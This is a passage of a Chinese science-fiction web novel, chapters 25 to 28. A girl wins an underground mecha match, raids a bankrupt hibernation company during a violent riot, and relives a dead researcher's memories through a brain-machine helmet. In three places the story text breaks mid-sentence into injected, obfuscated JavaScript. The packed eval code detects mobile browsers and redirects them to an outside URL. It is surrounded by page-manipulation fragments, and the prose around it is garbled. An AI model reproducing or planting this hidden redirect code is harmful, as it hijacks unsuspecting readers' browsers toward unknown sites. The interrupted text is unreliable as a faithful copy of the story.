“你发现的那一块地,植物之所以长得非常好,是因为雨水导致附近的铁锈水聚集,而这种植物正好喜铁,它的叶片越发达,对重金属的吸附能力越强。不过……这种植物是一年生的,因为无人打理,植物枯死过后,重金属随着落叶又重新回到了土壤中,所以,土壤质量改善得非常缓慢。” 洛九天抓住了重点:“所以,只要我们不让叶片重新落回土壤,土壤里的重金属就可以被植物吸收带走?” “没错,就是这样。”安陈拍了拍手上的泥,咧嘴一笑:“九天,我们是可以在这里种菜的!” 她笑起来,眼眸发亮,瘦弱的身躯迸发出令人吃惊的活力,像是从贫瘠土壤里长出来的绿苗。 洛九天打了一盆水过来,放在她面前:“洗手,晚上我们煮面吃庆祝一下。” 安陈刚应了一声“好”,笑容僵在脸上:“九天,你脸上怎么回事?” “啊?”洛九天愣了一瞬,撇过头去,将脸庞转入阴影里。 “你昨天是不是被人欺负了?” “没有。”洛九天往后退了一步,有些无法直视安陈探看过来的眼睛。她从安陈那双琥珀色的眼睛里,察觉到一丝与年龄不符的担忧。 不是那种青少年对伙伴的担忧,反而像一个细致入微的长者。 没来由的,洛九天心中有些烦躁,她从小到大,都不擅于展露伤口:“你别管,和你没关系。” 安陈的眼眸闪烁了一下:“我被欺负的时候,是你和尤珈救的我,怎么现在就和我没关系了?九天,你可能很难相信,我已经认识你230年了。” “……” 洛九天抿唇,梗着脖子回答:“躺在休眠舱里的时间不算。” “对你来说不算,对我来说,每一分每一秒都算。”安陈的声音压得很低:“我的大脑清醒着。” “并且明确地知道,有一个只比我大一点点的女孩,就躺在我旁边。” 洛九天豁然抬头看着她。 25. 对手 “一开始我也进入了休眠,但不知道是不是脑癌的原因,某一刻意识忽然清醒过来,虽然我没法睁开眼睛,但能清楚地感觉到,思维还活着,在一片虚无里,叫天天不应叫地地不灵。” 安陈用手背贴住前额:“你可能觉得我是个刚认识不久的陌生人,但对我来说,你在我旁边躺了230年呢。” 洛九天微微张了张嘴,不知道说什么。她察觉到安陈轻描淡写的言辞背后,隐藏着漫长的如深渊的孤寂。 安陈扭头看向绿植标本,琥珀色的眼眸里,映出一片绿色,就像沉睡池底多年的古老睡莲种子,偶然间崩裂开来,从中探出微渺的生机。 “两百三十年很难熬的,九天,我有时候睡,有时候醒,醒过来也无所事事,只能一遍遍去回想曾经看过的书籍。一开始,有些书籍页面的字还是模糊的,但后来,也许是我刻意练习的结果,每一页都变得无比清晰,很神奇是不是?” 洛九天讶然,迟疑着开口:“你在脑子里看的是什么书?” 安陈笑得有些腼腆:“农业种植百科书,春风渠农业局发的那种。从我生病以后,就没再上学,家里不愿意花钱买书,我平时就是看那个打发时间的……还以为不会有派上用场的一天呢。” 洛九天扬眉,目光坚定地说:“说不定你就是上天派来垃圾星进行蔬菜培育的神。” “……有那么夸张吗?”安陈眼睛里盛满星星,笑意在绯红的脸颊上蔓延,像个因得了小红花,而被同学吹捧的小屁孩。 她这种心智成熟神情幼稚的反差感,洛九天终于理解并很快习惯。 话题陡然回转,安陈笑容一敛,探头问:“所以你是不是在外面被欺负了?” “……我还手了的。”洛九天言辞凿凿。 她说完又摆摆手:“不要告诉尤珈啊。” “嗯。”安陈了然地应了一声:“对了九天,下次你去卡培星城,能不能带我一起,我想买个光脑,还要买一些蔬菜种子。说起来,已经一个多月了,诺斯休眠公司不是应该清算完毕了吗?为什么赔偿款还没有到,休眠手环应该快要注销了吧。” 当时诺斯休眠公司承诺在清算结束后进行赔款,但现在已经过去了一个多月,赔偿款依然没有着落,洛九天隐隐有些担忧。 “你想要什么样的?” 安陈指着洛九天手腕上的光脑:“你这种就可以。” 第二天,洛九天带安陈去了二手货交易市场,火速选定一款成色还不错的光脑,开始砍价。 “老板,你这光脑都摆了一个月了还没卖出去,便宜点呗。”经过上次的讨价还价,洛九天自认已经有了经验。 老板笑着抽动肩膀:“哈,哪有你这样砍价的,这一只我昨天才收到货,今早上刚保养完摆出来,还一个月,哼。” “……”洛九天有点无语,硬着头皮继续:“你就说能不能便宜点吧,和我这台一样的价格就行,你看我上次也是在你这里买的。” 两个回合的交锋过后,安陈成功以9500星币买到光脑,俩人又在市场上逛了一会儿,添置了一些日用家具,种植器皿,还收购了一袋种类迥异的蔬菜种子。 安陈遥控着立方车,将这些东西都装进去。一回到家,就开始集装箱大改造。 按照安陈的意见,洛九天帮她在集装箱左右两侧都固定了两排高低架。左侧的高低架种着厚叶草,用来吸收土壤里的各类重金属。右侧的架子则使用检测合格的土壤,种植培育蔬菜苗。 为此,安陈甚至让洛九天在集装箱顶上开两扇天窗。洛九天拿着切割机,在箱顶霍霍一顿操作,切割出两排长方形空洞,盖上一层透明防水布,光撒进来,像是个钢铁温室。 眼看着豌豆苗从土壤里冒出嫩芽尖,洛九天也迎来了属于她的第一场地下机甲赛。 好歹是正儿八经的第一次比赛,洛九天当然不想输,为此她在机甲调整室泡了好几天,将小丑调得更顺手,更适合她一些。 也许是她过往比赛经验为0的原因,赛场为她匹配的对手,也是一个新人。 参赛者寇得,机甲名为鼻涕虫,是一台轻型机甲,多足,看起来很擅长地面游击作战,比赛还没开始,就已经在赛场上到处乱窜,自带热场效果,吸引了很多观众往这边看。 洛九天操控小丑站在赛场边缘,反而像是个路人甲。 很快,对决开始。 鼻涕虫率先发起攻击,机甲手臂上抬至半空,以一个状似拥抱的诡异姿势冲了过来。 ? 看着对方莫名其妙的动作,洛九天快速架起光刃匕首回防。 下一秒,鼻涕虫的机械手臂内侧弹门打开,两个并排的黑洞露出,随着一声极其难听的擤鼻涕声,黑洞中喷射出两条半透明胶状物。 胶状物粘稠拉丝,像是留存已久的陈年鼻涕,又像是章鱼的抓手,柔韧灵活,朝着洛九天机甲的关节处缠来。 啊啊啊啊,莫挨老子! 洛九天操控着机甲连连后退,一点都不想沾。 看着像鼻涕,但洛九天清楚,对方的机甲手臂里,应该是装载了一种荧光粘合剂,在作战时可以喷射而出,黏住对手。 一旦被黏住,就只能束手就擒。 不过她一味躲避,对方只会步步紧逼,眼看着就要被逼到赛场边缘,洛九天开启磁力球,主动回迎“鼻涕”。 两颗磁力球主动黏上“鼻涕”胶,绕过洛九天,飞回鼻涕虫的黑洞弹门。 果断地!堵住! 就像卫生纸球塞住了鼻孔。 鼻涕拉丝黏在地上,将鼻涕虫的前腿绊住。 就在这时,洛九天发起攻击,足下弹簧开启,借力一推,把鼻涕虫弹到了赛场下面。 鼻涕虫应声倒地,选手寇得被迫认输。 赛场顶端的光幕上,出现了洛九天的胜利定格,以及她的胜场数。 参赛者:奈因·斯凯 胜场数:1 胜率:- 看了一眼自己的假名,洛九天十分满意地从机甲里跳出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992153|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >地下赛场的奖金,根据胜场数来判定。10场以内是基础奖金1000星币,10场至20场,每场奖金提升至2000星币,往后每增加10场胜场数,奖金也会增加1000星币。当胜场数达到100,胜率保持在80%以上时,可以获得20%的下注盈利分成。 光脑火速到账1000星币,洛九天松了口气,开始给两颗堵“鼻孔”的磁力球做表层清洁。 半掩的卷帘门被人敲响。 洛九天抬头,看向门边,发现居然是她上一局的对手寇得。 寇得:“听说你会修机甲?” 洛九天把磁力球放一边:“什么事?” “都怪你那两颗磁力球,把我机甲的光胶仓堵坏了,光胶凝固在里面,很难清理出来!没有机甲师愿意干这个活!”寇得戴着一张半遮脸的面具,叉着腰,唾沫横飞。 “……” 到底谁会愿意啊! 机甲师愿意才奇怪好吗! 这和鼻涕在鼻孔里干结,要她去掏出来有什么区别! 这和挖鼻屎有什么区别! 洛九天翻了个白眼,欲言又止地看着寇得。 寇得的鼻孔微微收缩,嘴唇轻颤吐出来一句:“我给你加钱。” “也不是不行……” 花了三个小时,洛九天才清理完鼻涕虫的光胶仓。她累到虚脱,歇了一会,又重新调试了光胶仓的热能配组,掌握其中关窍。 这种光胶设备的科技含量其实并不是很高,但运用到机甲上,设计也是个鬼才。 “这机甲是你自己设计的啊?”见寇得并不是很懂机械,洛九天有点好奇。 寇得得意地挺起腰板:“我找机甲师改造的,我家以前做弹力胶生意,把光胶用在机甲上,是我女儿六岁时的想法,她当时觉得鼻涕可以用来打架。” “确实可以。”洛九天摸了摸鼻尖,赞同地点头。 从寇得的机甲调整室出来,洛九天收拾好东西,关上卷帘门。看着上好的广告摊位,她想了想,又拿出喷漆,在卷帘门上喷了几个大字:机甲维修。 做完这些,洛九天才离开地下赛场。 她刚走没多远,就听到光脑弹出来一条语音通讯,尤珈的头像疯狂跳动。 一接通,那边就传来尤珈急切的声音:“九天!你快去诺斯休眠公司,出事了!” 洛九天顿住脚步:“怎么了?” “我也不清楚,但是新闻说诺斯休眠公司的老板死了,赔偿款给不出来……我发给你看,你看下信息。” 说完,尤珈挂断了语音,传过来一条新闻信息。 洛九天草草浏览了一遍,新闻上说,诺斯休眠公司老板诺斯·斯利普惨死街头,公司清算财产为负,无法支付赔偿款,而收购诺斯休眠公司的修普生物医药,其董事长罗杰嗣,拒绝承担后续赔偿债务。 现在,一众人围着诺斯休眠公司大楼要钱,纷纷扬言要把大楼给拆了抵赔偿款。 心里暗骂了一句,洛九天加快了脚步。 26. 笼子 诺斯休眠公司大楼下挤满了人,其中不乏拾荒者,洛九天甚至在里面认出了几张熟面孔。 人们振臂将“赔钱”的电子灯牌高高举起,呐喊声一浪高过一浪。休眠公司的安保一言不发,保持着沉默,巡逻机器人排队结成护栏,将人群挡在大楼之外。 空气燥热,像一点就炸的火药桶。 “请不要拥挤,作为卡培星城公民,请自觉遵守秩序,聚众闹事者将会被关入星城监狱——”巡逻机器人不断发出警告。 一开始,碍于巡逻机器人阻拦,大家还只是聚众抗议索赔,但随着人越来越多,由巡逻机器人组成的防线开始溃退,自中间断开。 率先突破防线的人,刚跑了没两步,就被巡逻机器人的伸缩手臂抓住左腿,电倒在地。 不知道是谁喊了一声“机器人打人啦!”,一时间众人纷纷乱起来,不管三七二十一,直接往里面冲。 冲在前面的大部分是拾荒者,由于不受卡培星城法律保护,通过和平手段拿到赔偿款的可能性基本为零,因此大家都想着冲进去抢一波,总比什么好处都捞不到强。 场面乱成一团,巡逻机器人源源不断赶来,洛九天却在人群中察觉到一丝不对劲。 那几个喊得最大声的,仍然在人群里站着,并没有往前跑。他们穿着拾荒者一贯爱穿的工装服,手却插在兜里,神情稳如老狗,隐隐透着一股杀伐气。 被推搡着,一只胳膊从后面探过来,搭住了洛九天的肩膀。 她回头一看,发现是尤珈。 “你怎么来了?” 尤珈拽着洛九天,要往里面挤:“小道消息,诺斯·斯利普根本没死,他在三天前就和家人搭乘飞船离开了卡培星城。他就是不想赔偿,故意死遁,哼,欠债还钱天经地义,所以我来帮你搬东西,回点血。” “等下——”洛九天将尤珈拉出人群:“现在诺斯休眠公司在修普生物医药手里,他们不可能坐看自己被抢。” 她话刚说完,只听“轰隆”一声巨响,尘土四起,一台配备了滑翔双翼的中型机甲,被空投至大楼前的广场。 洛九天错愕地看过去,当尘烟四散,自亮白色机甲脚下,晕开一团团血迹。那些因躲闪不及而被踩踏的人,甚至没来得及发出声音,就被碾压成一滩烂肉泥。 人命如蝼蚁一般,被轻轻地,一摁就碎。 人群安静了一瞬,再次躁动起来,声音此起彼伏: “死人了!前面死人了,别挤别挤。” “谁啊?哦,拾荒者,城政府不会发抚恤金的,谁让他冲那么前面了。” “城政府的机甲都来了,咱们是不是拿不到赔偿款了?要不然散了吧……” “……” 就在人们的议论声中,机甲往前迈了一步,肩甲上弹出一排炮口,指向人群。 洛九天敛住呼吸,抬头看向那台簇新的机甲。 尤珈心有余悸,挑眉骂道:“卧槽,是城政府的护卫机甲,一般用来抵御星兽的,怎么会出现在这里?还说修普生物医药和城政府没有勾结,狗都不信!狼狈为奸,呸!” 洛九天脑子飞速转动,悄悄将先前留意的几个人指给尤珈看:“这几个人你认识吗?” “看上去挺像拾荒者的,但没见过啊,怎么了?”尤珈疑惑地思索着,没有头绪:“而且,他们看起来不像拾荒者。” “哪里不像?” 尤珈想了想:“说不上来,就是一种感觉,可能是衣服太新了。” “我怀疑,有人想浑水摸鱼。”洛九天蹲角落里,找来几颗小石头,开始分析。 “如果诺斯休眠公司早就把资产转移,只剩下大楼和设备还在这里。抛开那些休眠舱和手术机器人,那么唯一值得他们大费周章的,就是地下室的大脑数据转换机。脑机整个星盟只有三台,其中一台就在这地下面。” 洛九天在地上用石子画了个圈,把石子放在圈中。 “大脑数据转换机?”尤珈一脸懵地问:“那是什么?你怎么知道他们地下室有东西。” “诺斯休眠公司破产之前,一直在偷偷定向贩卖休眠用户的脑部数据,有一张芯片恰好要用我的脑子托运出去……这不重要”洛九天顿了一下又继续说: “重要的是,诺斯·斯利普靠基金发家,守不住产业只能携款潜逃,留下一个烂摊子,现在看来,收购诺斯休眠公司的修普生物医药,和城政府是一伙的,至少是合作关系,从之前的负面新闻来看,他们可能一早就布局好要吞掉诺斯休眠公司,才会把它搞破产。” 说完,她在石头的左侧,画了两个边界相交的圆。 尤珈点头:“修普生物医药肯定不乐意出钱赔偿,又想平息风波,所以让城政府出面,暴力镇压。” 洛九天在石子的右侧画了个问号:“现在出来了一伙隐藏身份的人,他们穿着拾荒者的衣服,把拾荒者当枪使,煽风点火搅乱局面……我猜他们可能也在找脑机,应该还没有得手。” 尤珈眨巴眨巴眼睛,盯着洛九天,等着她的后话。 洛九天咧嘴一笑,扔掉石头站起来:“既然他们觉得是拾荒者在搞事,那我们要是不搞点事情,都对不起他们给安排的罪名。” 公司大楼前,人们隔着巡逻机器人组成的护栏,与城政府的护卫机甲对峙。正因为如此,大楼内部的防卫薄弱得不堪一击。 一刻钟后,洛九天和尤珈换上拾荒者同款工装服,通过医用垃圾运输通道,蒙面出现在诺斯休眠公司负一楼。 二人分工合作,由洛九天去切断大楼总电源,而尤珈负责关闭监控,俩人在监控室外汇合。 凭着脑袋里那段不属于自己的记忆,洛九天很顺利地摸到了通往地下室的隐藏电梯。 白色的墙面上,刻画着一整面绵羊女牧羊图的装饰壁画,平常从壁画前走过,无人能看出这是一扇电梯门。 地下室大门紧闭,无人值守,走廊上一个医护人员都没有。 洛九天抹了一把有点起雾的护目镜,凑近看了一眼:“虹膜锁,打不开。” “那怎么办?”尤珈问。 洛九天想了想,从裤兜里掏出来一个微型炸弹:“用这个。” 尤珈跳开:“你不会告诉我你身上随时揣着炸弹吧?” “在地下赛场里顺手拿的。”洛九天解释:“本来想拿回去研究一下来着。” 她说着,从兜里抠出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996414|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一坨粘合剂,蹭到炸弹表面上胡乱抹了几下,最后将微型炸弹黏在虹膜电子锁外面。 俩人后退出一段距离,洛九天忽然转头问:“你有枪是不是?这枚微型炸弹没有定时装置,需要外力激活。” “你怎么知道?” 尤珈自裤管外侧的翻盖兜里,摸出来一把巴掌大的手枪,快速上膛,瞄准炸弹。 子弹无声地射出枪管,爆炸声不算大,白烟自门缝里冒了出来。 “尤里说你枪法很好。”洛九天用手指甲抠开门缝,把门推开,闪身进了地下室内部。 眼前的画面,与陌生女人的记忆重叠,一模一样的环境,除了屏幕上的数字不同,几乎没有任何变化。 她来不及细看,直奔目的。 那是一台可供一人躺下的仪器,外观和医院的检测仪并没有什么太大的区别。唯一不同的是,仪器的上方,摆放着一只白色的头盔。 没有任何接缝,质地温润如玉,只有一块圆弧形面板,一个隐藏式可弹出的芯片口,浑然天成,是工业化进程中的完美作品。 如果猜得不错,仪器应该是辅助上传脑部数据的工具,而真正的大脑数据转换机,或者说脑机的核心,就是这只头盔。 洛九天连忙从口袋里摸出小心保存的芯片,插入头盔之中。 之前她就试着破译过这张芯片,但是一无所获。在没有密钥的情况下,芯片只能通过脑机或者人脑打开。 脑机面板亮起,洛九天刚要戴上头盔,就听见外面传来就脚步声。 洛九天和尤珈对视一眼,快速找地方隐藏身形。 躲在仪器后面的洛九天,透过金属边框的反光,看着一个戴面具的人走了进去。 “别躲了,我知道是你们。”是克劳恩的声音。 “卧槽!”尤珈站起来骂了一句。 克劳恩换了一张面具,亚麻色的发尾和金色的发根断层,似乎很久没染的原因。身上歪歪扭扭贴着许多医疗胶布,还有一些新伤,没来得及处理,随着他的动作,隐隐有血渗出来。 洛九天蹙眉:“怎么是你?你不是在被仇家追杀吗?” 克劳恩从衣兜里摸出来一个钢壳打火机把玩,漫不经心地说:“来凑热闹,给大家助助兴。还得谢谢你们,不然我都找不到这里。” 他说着,环视一周,目光落在洛九天手里的头盔上:“你是不是疯了,连罗杰嗣要的东西都敢抢。” “我没想抢,就用一下。”洛九天很诚恳地回答:“这玩意儿不好卖,会惹来麻烦的。” “在这里用?”克劳恩笑了一下:“刚才我下来的时候,解决了三个人,是星盗,专门来抢这只脑机的。嗯,也不是不行,我和尤珈搁这里往门口一站,给你左右护法!到时候一起被罗杰嗣抓进实验室,说不定还能关在一个笼子里。” “……” 太损了,这嘴太损了。 洛九天瞪了他一眼:“我就算被抓住,也不和你关一个笼子!” 她说完,意识到什么,顺口问:“……你怎么知道会被关进笼子里?” 空气安静了一瞬。 “因为我从小就被他关在笼子里。”克劳恩回答。 27. 秘密 他的声音平静且淡漠,像是在讲一件吃饭喝水一样稀松平常的事情,又似乎是别人的事。 洛九天沉默片刻,没有追问下去,叹了口气:“好吧,如果我被抓住,我愿意和你关一个笼子。” 尤珈连忙伸手指了指自己:“我呢,那我呢?” “我当然要和你一个笼子——不是,我们为什么要被抓住啊?”洛九天无语望天。 她话音一落,就感觉整个地面晃动起来。 尤珈站稳催促:“上面估计交上火了,你要拿什么东西,拿上咱们赶紧撤。” 当机立断,洛九天抓起头盔,塞进背包:“走。” 尤珈:“你不是说这东西不好卖你不要的吗?” 路过工作台,洛九天又从桌面上抓起几张备用能量晶卡,一边往衣兜里揣一边说:“我改主意了,现在我想让罗杰嗣多出点血。” 她的手腕被克劳恩一把拽住:“任何秘密都需要付出代价,你确定要继续看吗?” 洛九天不知道他指的是脑机里的秘密还是其他,她透过面具,直视着克劳恩的眼睛,索性一起回答:“我确定。” “真是疯了。” 克劳恩松开她的手,摁下打火机,先将一张皮质靠椅引燃,随后砸向那台硕大的仪器。 金属不易燃,在碰撞声响过后,火势瞬间零落了下来。尤珈看了他一眼,从旁边的柜架上,拿出来一瓶酒精,扔进火里。 火一下蹿得老高,将人的眼眸照得熠熠发亮。 从地下室退出来,尤珈好奇地问:“你就拿这个啊?” “嗯。”洛九天点头:“这就是脑机最重要的一部分。” 尤珈走到门口,忽然想起什么:“啊,亏了,忘了给安陈带点东西。” “亏不了。”洛九天疾步往外走,顺手捞起桌面上一盆发财树绿植:“这个她肯定喜欢。” 前后不过几分钟的时间,但进去容易出来难,诺斯休眠公司大楼已经封锁,到处都是巡逻机器人。 也不知道是谁丢的炸弹,饰面玻璃碎了一地,护卫机甲虽然没有受伤,但表面也被炸出了黑灰的痕迹。 由于人群中也有不少卡培星城的居民,护卫机甲并不敢真的对人群开炮,双方陷入焦灼状态。 洛九天靠在负一楼至一楼的楼梯夹角处,躲避巡逻机器人的探查。 她刚喘了口气,旁边的尤珈忽然伸出一根手指戳她胳膊。 洛九天看向尤珈,见她朝楼梯上面使眼色,忙不迭抬头往上看去。 在三楼的一隅,穿着拾荒者工装服的男人,正和她们一样,躲避着搜寻。 而她,不知算不算幸运,通过别人的记忆,知晓了通往地下室的路径,所以不用像个无头苍蝇一样乱窜。 也不知道这些星盗什么来头,要是发现脑机一半在自己手里,一半在火里,表情一定很精彩。 时间一分一秒地过去,洛九天心知继续躲藏不是办法,焦急地扫视了一圈大楼内部各个出口,无意间注意到一扇半开半掩的门。 她的视线落在门内一排排摆放整齐的医用液氮瓶上,上面有禁制撞击、小心火源、谨防爆炸的警示标志。 在休眠公司,最不缺的就是这种经过特殊加工处理,可以用于局部麻醉冷冻的医用液氮。 她扭头问尤珈:“安陈的立方车是不是在你飞船里?” “你说晚上要淘垃圾,她就停我飞船上了,不过想着你可能要搬东西,我过来的时候停在附近街边……”尤珈说到一半,恍然大悟:“我这就开自动导航,就停在垃圾运输通道那个小门外接应吧。” 洛九天冲她比了个“OK”的手势,随后冲克劳恩伸出手:“打火机给我。” “什么?”克劳恩没动。 “别装。”洛九天催促:“快点,打火机又不值钱。” “我这个是古董。”克劳恩嘟囔着,还是把打火机掏出来,放在洛九天手心。 “什么古董,垃圾星多得是,我能给你捡一打。”洛九天一边小声吐槽,一边快速将没用完的粘合剂粘在打火机上。 “你要做什么?”尤珈问。 洛九天抬起下巴:“看见那间屋子里的医用液氮瓶没有,打火机粘瓶子上面,然后推到机甲屁股底下。” “然后我再对着打火机开一枪?”尤珈一回生二回熟,已经掌握了关键技巧:“这样能爆炸?” 洛九天:“不确定,试试看。” 尤珈摸出手枪:“你们谁去?” 洛九天看向克劳恩:“他去,他腿比我长,跑得比我快。” 克劳恩轻笑了一声,没说话,人已经闪进对面房间,搬起一罐医用液氮瓶。 巡逻机器人成群结队手牵着手,把人群挡在外面,护卫机甲僵硬地站立着,里面的驾驶员早就不耐烦了,骂骂咧咧拍打着操作杆。 修普生物医药请来的安保人员陆续到位,和偷偷潜入的星盗团打得有来有回,时不时有人从楼里打到楼外,引起人群一阵惊叫。 混乱之中,一瓶灰扑扑的液氮从楼里被推了出来,不断翻滚着靠近机甲。 无人在意。 液氮瓶翻滚速度变慢,就在即将露出打火机的一瞬间,一颗子弹从枪口飞出,击穿打火机,打中液氮瓶身。 只听“嘭”地一声,星火四溢,白雾冲天而起。 看似声势浩大,实际没有什么杀伤力的液氮,在火焰中挥发成烟。 护卫机甲的视野被白雾遮蔽,巡逻机器人发现浓烟,纷纷开启紧急烟雾报警,红色警铃一齐亮灯,乌拉拉地叫个不停。 人群在爆炸的一瞬间,如潮水一般往后扑倒退去。大楼下的安保人员,原以为免不得要受伤,结果白雾飘散过来,只在他的衣服上结了一层薄霜,就停止了继续蔓延。 寒意袭来,安保人员打了个激灵,没注意到有三个人,趁乱悄悄从垃圾运输通道爬了出去。 立方车刚好赶到通道口,三人大步跨坐进去,关上了门。 立方车顾名思义,是一个一立方大小的空间,没有驾驶位,只有一个完全用来运货的储物仓,动能系统在底盘下面。 昏暗逼仄的车厢里,三人抱膝而坐,尽可能地折叠身体。 尤珈点开立方车的自动导航系统,把目的地设在了垃圾分类中心:“待会立方车直接进尾舱,我正好开飞船运垃圾回去。” “我才不去垃圾星。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996415|159820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克劳恩出言反驳。 尤珈不置可否:“请对我们NCC6716星放尊重一点。” 克劳恩轻哼:“你不是也一口一个垃圾星地叫着吗?” “那不一样,我这是爱称!” 十分钟后,立方车停在一个偏僻的巷口。克劳恩从立方车上跳下车,闪身隐入街巷之中,很快不见踪影。 立方车驶往垃圾分类中心,直接上了尤珈的垃圾运输飞船尾舱,混入垃圾车队伍中。 等洛九天重新呼吸到新鲜空气,人已经被运送到了集装箱门口。 安陈打开车门,像拆收了一个超大的快递包裹,见里面坐着的人完好无损,才松了一口气,终于放下了悬着的心:“听说休眠公司大楼前面死了好几个拾荒者,吓死我了!” “你知道了啊?”洛九天一手拎包一手捧着盆栽,从立方车上跳下来。 安陈点头:“光脑上看的,现在卡培星城的公共信息流上还全是报道,你和尤珈一直不回消息,我还以为你们也去了呢,搞得我好担心。” “我们去了啊。” “啊?” 洛九天抓了下乱糟糟的头发,隐去冒险的部分,将前因后果讲了一遍。 安陈听完,十分不忿地说:“都是吸血的企业家,吃人不吐骨头,他们斗了半天,结果最惨的还是普通人!” “这笔账先记着吧,只要诺斯·斯利普没死,就一定要他还上。”洛九天将手里的盆栽递过去:“喏,我还给你抢了一棵发财树。” 安陈早就看到了她手里的盆栽,一听是给自己的,立马双眼放光接过来:“我的朋友也太好了吧,去讨债都不忘给我带礼物,怎么又心酸又好笑的样子。” 吃过晚饭,安陈回了自己的集装箱,洛九天从背包里拿出脑机,坐在折叠床边,戴上躺下。 下一瞬,她再次身临其境地进入芯片中的数据回忆。 这一次,画面十分清晰。 记忆开始于星际历1350年6月7日。 女人忐忑地走向一座实验大楼,路过玻璃幕墙的时候,还停下来整理了一下着装,让自己看上去更整洁更正式。 进了实验大楼,在休息区等候了半天,终于见到了一个略微发福的中年男人,对她进行面试。 通过面试交谈的内容,洛九天得知女人毕业于圣朗基努斯军校生物科学系,在校成绩优异,却被分配到偏远的星球进行地表生物勘察,她不满意这个岗位,选择自谋出路,比如加入这家知名实验室,继续从事研究工作。 经过层层选拔,最终女人脱颖而出,获得了一次考核机会。如果考核通过,博士就会开口向军校要人,她就能加入实验室,成为一名研究员。 她得到了一个指令。 那个指令就是——前往卡培星城诺斯休眠公司,从地下室取走脑机芯片。 聪明如她,很快反应过来自己在做什么,也明白“等博士确认过脑数据库后,目标立即清除。”,这句话的背后,意味着有一个人的大脑记忆被数据化,然后死在了地下室里。 当她真的把这句话说出口的时候,就开始后悔,但她已然来到了地下室,接过了脑机芯片,她已经无路可退。 28. 新棋 当名为露娜的女人带着芯片回到实验大楼,她如愿地加入了实验室,成为一名研究员。 之后的回忆,大多数时候,都在那栋实验大楼里。实验室光洁、明亮,有着尖端的科研环境和水平。露娜得到了一份前辈整理得当的实验数据,可以轻松上手继续研究,也因此很快适应了这种忙碌的生活,只有在极少的闲暇时分,才会回想起诺斯休眠公司那个诡异的地下室。 三年后,一直研究生物神经元的露娜,终于见到了传说中的博士。她被邀请参与一个新的研究项目——人类神经突触与幽灵水母人进行链接时,幽灵水母人会无差别释放神经毒素,如何阻止神经毒素释放,自毁式降低寿命。 露娜第一次见到活着的幽灵水母人。那个一个未成年的幽灵水母人,皮肤泛着蓝绿色荧光,大约只有1米高,被关在密闭的柱形玻璃罩里,脑仁裸露在外,胶质层不停蠕动,透过一旁的显微镜,能看到密密麻麻的神经元网络,比人类的神经茁壮、精密,反应快速。 周围站着几个和她一样穿着的研究员,似乎对眼前的一切已经麻木,口中不停交流着各项数据。从这一刻起,露娜发现自己深陷其中,再也无法脱身。 回忆在这里中断了一段,快速翻篇过了五年,来到了1358年。露娜在实验中不小心被神经毒素感染,双目失明无法医治,博士为她选择了一条后路——接受诺斯休眠公司的休眠手术,以待来日。 她才明白过来,原来八年前,她在地下室取走的那枚脑机芯片的主人,就是上一个她。 她不知道那张脑机芯片的主人是谁,但她很快将变成下一个,紧接着,又会有一个新的人来取走她的脑机芯片,并且说出那句:等博士确认过脑数据库后,目标立即清除。 这听起来,更像是一枚新棋的入局宣言。 尽管她到死,都不知道自己被执在何人手中。 脑机展开的画面陷入黑暗之中,或许露娜就是在这时候进入了休眠状态。洛九天将意识抽离,准备取下脑机,就在这时,眼前又出现一道白光。 露娜抬起手,用光脑输出最后一句话。 文字投射在视网膜上,以敲击字符的速度展开—— 很遗憾,博士,你什么都别想从我脑子里得到。 屏幕瞬间暗了下来,只剩下一片虚无。洛九天的脑海里,却一直回荡着这句话。 难怪露娜的回忆里,实验过程一片空白,应该是她休眠之前进行了选择性删除的结果。 之前跟踪她想要夺走芯片的黑衣军校生,多半就是来接替露娜的,他是不是也在经历一次“入局考核”?黑衣人失手过后,再也没有出现过。他是重新获得了一张脑机芯片,还是放弃了这次考核? 还有那个幽灵水母人,这个外星人族群已经很少见到,为什么会出现在繁华的每铎星?如果她没记错,圣朗基努斯军校就在那里。 想不明白其中关节,洛九天从脑机里退出来,打开光脑,搜索那栋实验大楼的名字“SPOON”,得到的结果却表示,这是一家工业食品味觉研究公司,专门负责研发各种新奇味道的营养液、营养片,压缩饼干等等。 看样子,这应该是一个空壳公司,是实验室用以掩饰自身的幌子。 至于那位名叫克络奇的博士,洛九天没有在光脑上搜到他的资料,不过他既然可以向军校开口要人,一定有深厚的背景,将公开资料隐藏起来,也不是难事。 清晨的阳光透过集装箱窗户照在脸上,洛九天却打了个寒颤,猛地一惊,从思绪中挣脱出来,才发现不知不觉过了一夜。 她像是站立在一个深不见底的洞边,往洞里面看了一眼,就险些被吸进去。 打开光脑,点开卡培星城的公共信息流,关于解冻人向诺斯休眠公司讨要赔偿的新闻,依然漂浮在最顶端。 